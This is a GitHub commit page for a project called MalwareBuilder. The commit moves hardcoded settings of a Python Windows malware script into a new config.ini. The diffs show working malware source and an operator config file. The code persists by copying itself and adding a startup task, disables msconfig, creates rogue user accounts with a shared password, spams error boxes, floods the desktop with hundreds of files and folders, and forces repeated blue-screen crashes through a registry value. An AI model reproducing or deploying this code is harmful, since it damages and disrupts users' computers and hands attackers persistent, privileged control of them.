Skip to content

Commit 9fea32a

Browse files
Created MalwareBuilder
Added the config.ini file, and implemented it Also updated Spam.ErrorMessages to allow custom error types Minor changes as well
1 parent ce56630 commit 9fea32a

File tree

2 files changed

+135
-57
lines changed

2 files changed

+135
-57
lines changed

MalwareCode.py

Lines changed: 71 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
from __future__ import annotations
22

3+
import configparser
34
import ctypes
45
import functools
56
import getpass
@@ -21,38 +22,40 @@
2122
import win32gui
2223
import wmi
2324

24-
# ------------------------- Constants Code ------------------------- #
25+
# ----------------------- Config Mechanism ------------------------- #
2526

26-
PATH = os.path.abspath(__file__)
27-
MOVE_TO = "C:\\Users\\Hp\\Desktop" # TODO: Config.ini
28-
VERBOSE = False # TODO: Config.ini
29-
USE_DAEMON = True # TODO: Config.ini
27+
# Create a ConfigParser object
28+
config = configparser.ConfigParser()
3029

31-
# ----------------------- Logging Mechanism ------------------------- #
30+
# Read the config.ini file
31+
config.read('config.ini')
3232

33+
# ------------------------ Constants Code -------------------------- #
3334

34-
if VERBOSE:
35-
logger = colorlog.getLogger()
36-
logger.setLevel(getattr(logging, "INFO", logging.INFO))
37-
handler = colorlog.StreamHandler()
35+
LOG_LEVEL = config.get("Core Settings", "LOG_LEVEL", fallback="CRITICAL")
36+
USE_DAEMON = config.getboolean("Core Settings", "USE_DAEMON", fallback=True)
3837

39-
log_colors = {
40-
"DEBUG": "cyan",
41-
"INFO": "green",
42-
"WARNING": "yellow",
43-
"ERROR": "red",
44-
"CRITICAL": "red",
45-
}
38+
# -------------------- Setup Logging Mechanism --------------------- #
4639

47-
formatter = colorlog.ColoredFormatter(
48-
"%(log_color)s%(levelname)-8s%(reset)s %(blue)s%(message)s",
49-
log_colors=log_colors,
50-
)
51-
handler.setFormatter(formatter)
52-
logger.addHandler(handler)
53-
else:
54-
logging.basicConfig(level=logging.CRITICAL)
5540

41+
logger = colorlog.getLogger()
42+
logger.setLevel(getattr(logging, LOG_LEVEL, logging.INFO))
43+
handler = colorlog.StreamHandler()
44+
45+
log_colors = {
46+
"DEBUG": "cyan",
47+
"INFO": "green",
48+
"WARNING": "yellow",
49+
"ERROR": "red",
50+
"CRITICAL": "red",
51+
}
52+
53+
formatter = colorlog.ColoredFormatter(
54+
"%(log_color)s%(levelname)-8s%(reset)s %(blue)s%(message)s",
55+
log_colors=log_colors,
56+
)
57+
handler.setFormatter(formatter)
58+
logger.addHandler(handler)
5659
log = colorlog.getLogger(__name__)
5760

5861

@@ -62,9 +65,10 @@
6265
class Core:
6366
def __init__(self):
6467
self.PATH = os.path.abspath(__file__)
65-
self.MOVE_TO = "C:\\Users\\Hp\\Desktop" # TODO: Config.ini
66-
self.TASK_NAME = "".join(
67-
random.choices(string.ascii_letters + string.digits, k=random.randint(5, 10))) # TODO: Config.ini
68+
self.MOVE_TO = config.get("Core Settings", "MOVE_TO", fallback="C:\\Users\\Hp")
69+
fallback_name = "".join(
70+
random.choices(string.ascii_letters + string.digits, k=random.randint(5, 10)))
71+
self.TASK_NAME = config.get("Core Settings", "TASK_NAME", fallback=fallback_name)
6872

6973
def move_script(self):
7074
"""
@@ -192,7 +196,7 @@ def disable():
192196

193197
class MsConfig:
194198
def __init__(self):
195-
self.MSCONFIG = r"C:\Windows\System32\msconfig.exe" # TODO: Config.ini
199+
self.MSCONFIG = config.get("Kill.MsConfig", "PATH", fallback="C:\\Windows\\System32\\msconfig.exe")
196200

197201
def disable(self):
198202
"""
@@ -1271,8 +1275,9 @@ def enable(self):
12711275
class Spam:
12721276
class Accounts:
12731277
def __init__(self):
1274-
self.ACCOUNT_NAMES = ["you've", "been", "hacked", "by", "the", "best"] # TODO: Config.ini
1275-
self.PASSWORD_FOR_ALL_ACCOUNTS = "password123" # TODO: Config.ini
1278+
list_of_accounts = config.get("Spam.Accounts", "ACCOUNTS", fallback="you've, been, hacked, by, the, best")
1279+
self.ACCOUNT_NAMES = list_of_accounts.replace(" ", "").split(",")
1280+
self.PASSWORD_FOR_ALL_ACCOUNTS = config.get("Spam.Accounts", "PASSWORD", fallback="MalwareBuilder2025")
12761281

12771282
def create(self):
12781283
for account_name in self.ACCOUNT_NAMES:
@@ -1295,15 +1300,16 @@ def remove(self):
12951300

12961301
class ErrorMessages:
12971302
def __init__(self):
1298-
self.message_text = "This is a spam error message!" # TODO: Config.ini
1299-
self.message_title = "Error" # TODO: Config.ini
1300-
self.spam_count = 10 # TODO: Config.ini
1303+
self.message_text = config.get("Spam.Errors", "ERROR_MESSAGE", fallback="This is a spam error message!")
1304+
self.message_title = config.get("Spam.Errors", "ERROR_TITLE", fallback="Error!")
1305+
self.spam_count = config.getint("Spam.Errors", "ERROR_COUNT", fallback=10)
1306+
self.type = config.getint("Spam.Errors", "ERROR_TYPE", fallback=16)
13011307

13021308
def _spam_error_messages(self):
13031309
"""Spams error windows when enabled."""
13041310
while True:
13051311
ctypes.windll.user32.MessageBoxW(
1306-
0, self.message_text, self.message_title, 0x10
1312+
self.type, self.message_text, self.message_title, 0x10
13071313
)
13081314
time.sleep(0.1) # Add a delay to prevent excessive CPU usage
13091315

@@ -1315,16 +1321,19 @@ def create(self):
13151321

13161322
class Desktop:
13171323
def __init__(self):
1318-
default = "Hacked Bozo" # TODO: Config.ini
1319-
repeat_default = 500 # TODO: Config.ini
1320-
folders = ["Hackers", "Anonymous", "Your PC is mine", "Hacked", "Lol"] # TODO: Config.ini
1324+
default = config.get("Spam.Desktop", "ERROR_TYPE", fallback="You've been hacked")
1325+
repeat_default = config.getint("Spam.Desktop", "COUNT", fallback=500)
1326+
1327+
folders = config.get("Spam.Desktop", "EXTRA_FOLDERS", fallback="Hackers, Anonymous, YourPCIsMine, Hacked, Lol")
1328+
folders = folders.replace(" ", "").split(",")
1329+
files = config.get("Spam.Desktop", "EXTRA_FILES", fallback="You, have, been, hacked, lol")
1330+
files = files.replace(" ", "").split(",")
1331+
13211332
for i in range(repeat_default):
13221333
folders.append(f"{default} {i}")
1323-
files = ["You", "have", "been", "hacked", "lol"] # TODO: Config.ini
1324-
for i in range(repeat_default):
13251334
files.append(f"{default} {i}")
1326-
self.files = files
1327-
self.folders = folders
1335+
self.files = list(set(files)) # Remove duplicates
1336+
self.folders = list(set(folders)) # Remove duplicates
13281337

13291338
def create(self):
13301339
# Get the path to the desktop
@@ -1465,11 +1474,11 @@ def format(self):
14651474

14661475
class BSOD:
14671476
def __init__(self):
1468-
self.MAX_CRASHES = 5 # TODO: Config.ini
1469-
self.REGISTRY_PATH = r"SOFTWARE\SysBSOD"
1470-
self.VALUE_NAME = "BCC"
1471-
self.CRASH_ERR = "The code monkeys at our headquarters are working very hard to fix this!" # TODO: Config.ini
1472-
self.CRASH_CODE = 0x00069420 # TODO: Config.ini
1477+
self.MAX_CRASHES = config.getint("Destroy.BSOD", "MAX_CRASHES", fallback=5)
1478+
self.REGISTRY_PATH = config.get("Destroy.BSOD", "REG_PATH", fallback="SOFTWARE\\SysBSOD")
1479+
self.VALUE_NAME = config.get("Destroy.BSOD", "REG_KEY", fallback="BCC")
1480+
self.CRASH_ERR = config.get("Destroy.BSOD", "MESSAGE", fallback="The code monkeys at our headquarters are working very hard to fix this!")
1481+
self.CRASH_CODE = 0xDEADDEAD
14731482

14741483
def __check_registry_and_update(self):
14751484
"""
@@ -1674,7 +1683,7 @@ def __persist(enable=True):
16741683
except Exception as e:
16751684
log.error(f"Registry operation failed: {e}")
16761685
return
1677-
1686+
16781687
if enable:
16791688
log.info("Taskbar glitching started.")
16801689
while enable: # Keep the script running as long as glitching is enabled
@@ -1893,13 +1902,18 @@ def start(self):
18931902

18941903

18951904
"""
1896-
if not is_admin():
1897-
log.critical("This script requires administrator privileges.")
1898-
exit(1)
1899-
1900-
if PATH != MOVE_TO:
1901-
move_script() # Move the script to the Public Documents directory
1902-
add_to_startup() # Add the script to startup execution
1903-
else:
1904-
pass # Code inserted here
1905+
try:
1906+
if not is_admin():
1907+
log.critical("This script requires administrator privileges.")
1908+
exit(1)
1909+
1910+
if PATH != MOVE_TO:
1911+
Core().move_script() # Move the script
1912+
Core().add_to_startup() # Add the script to startup execution
1913+
log.info("Script moved to new folder, quitting now, will run on startup.")
1914+
exit(0) # Exit the script to allow it to run from the new location
1915+
else:
1916+
pass # Code inserted here
1917+
except Exception as e:
1918+
log.exception(f"A fatal error occurred: {e}")
19051919
"""

config.ini

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
[What to create]
2+
; This is the list of things to create, each one will be made once in a iterative fashion
3+
; Uncomment to include the feature,
4+
5+
[Core Settings]
6+
; This is the path where the script will be moved to when first executed (and will be executed from there in startup)
7+
MOVE_TO = C:\\Users\\Hp
8+
; This is the log level of the logger, it can be DEBUG, INFO, WARNING, ERROR, CRITICAL
9+
LOG_LEVEL = CRITICAL
10+
; Use daemon when running threads?
11+
USE_DAEMON = True
12+
; This is the task name that will be created for startup
13+
; Uncomment to use custom name, otherwise it will be the default random name of strings
14+
; TASK_NAME = CustomName
15+
16+
[Kill.MsConfig]
17+
; This is the path of the executable MsConfig
18+
PATH = C:\\Windows\\System32\\msconfig.exe
19+
20+
[Spam.Accounts]
21+
; List of account names to create
22+
; [DO NOT USE (") IN THE NAMES AND MAKE SURE THEY ARE SEPARATED BY COMMAS AND ARE UNIQUE]
23+
; Each one will be made once in a iterative fashion
24+
ACCOUNTS = you've, been, hacked, by, the, best
25+
; Password for the accounts, this is for ALL accounts [Haven't tested if its blank, proceed with caution]
26+
PASSWORD = MalwareBuilder2025
27+
28+
[Spam.Errors]
29+
; Error message to display in the error box
30+
ERROR_MESSAGE = This is a spam error message!
31+
; Message box title
32+
ERROR_TITLE = Error
33+
; Message box type, can be one of the following: [0, 16, 32, 48, 64, 4096, 8192, 16384]
34+
; 0 = OK, 16 = OKCancel, 32 = AbortRetryIgnore, 48 = YesNoCancel, 64 = YesNo,
35+
; 4096 = RetryCancel, 8192 = CancelTryContinue, 16384 = YesNoCancel
36+
ERROR_TYPE = 16
37+
; How many times to spam the error message simultaneously
38+
ERROR_COUNT = 10
39+
40+
[Spam.Desktop]
41+
; Default name of spamming folder to create, this will be in the format {NAME #} when the code is done with it
42+
; A name of "Spam" will create folders then files named "Spam 1", "Spam 2", "Spam 3", etc.
43+
; This will also create files with the same name as the folder, files have nothing to do with the folder
44+
DEFAULT_NAME = You've been hacked
45+
; Number of times to iterate the folder creation and file creation,
46+
; if its 50 for example, it will create 50 folders and 50 files
47+
COUNT = 500
48+
; List of extra special folders to create, not part of the COUNT
49+
; [DO NOT USE (") IN THE NAMES AND MAKE SURE THEY ARE SEPARATED BY COMMAS AND ARE UNIQUE]
50+
; Each one will be made once in a iterative fashion
51+
; Spaces will be removed, and it will split by commas, Duplicate names will be removed
52+
EXTRA_FOLDERS = Hackers, Anonymous, Your PC is mine, Hacked, Lol
53+
EXTRA_FILES = You, have, been, hacked, lol
54+
55+
[Destroy.BSOD]
56+
; Number of times to BSOD the system (Maximum) [Has not been tested fully]
57+
MAX_CRASHES = 5
58+
; Registry Path and Key to add/change to BSOD the system
59+
; We do not recommend changing this unless you know what you are doing,
60+
; NEVER CHANGE THE PATH OR KEY IF USED BEFORE TO ENSURE ALL ACTIONS ARE REVERSIBLE
61+
REG_PATH = SOFTWARE\\SysBSOD
62+
REG_KEY = BCC
63+
; Error message to display in the crash log, as well as the cmd [Has not been tested fully]
64+
MESSAGE = The code monkeys at our headquarters are working very hard to fix this!

0 commit comments

Comments
 (0)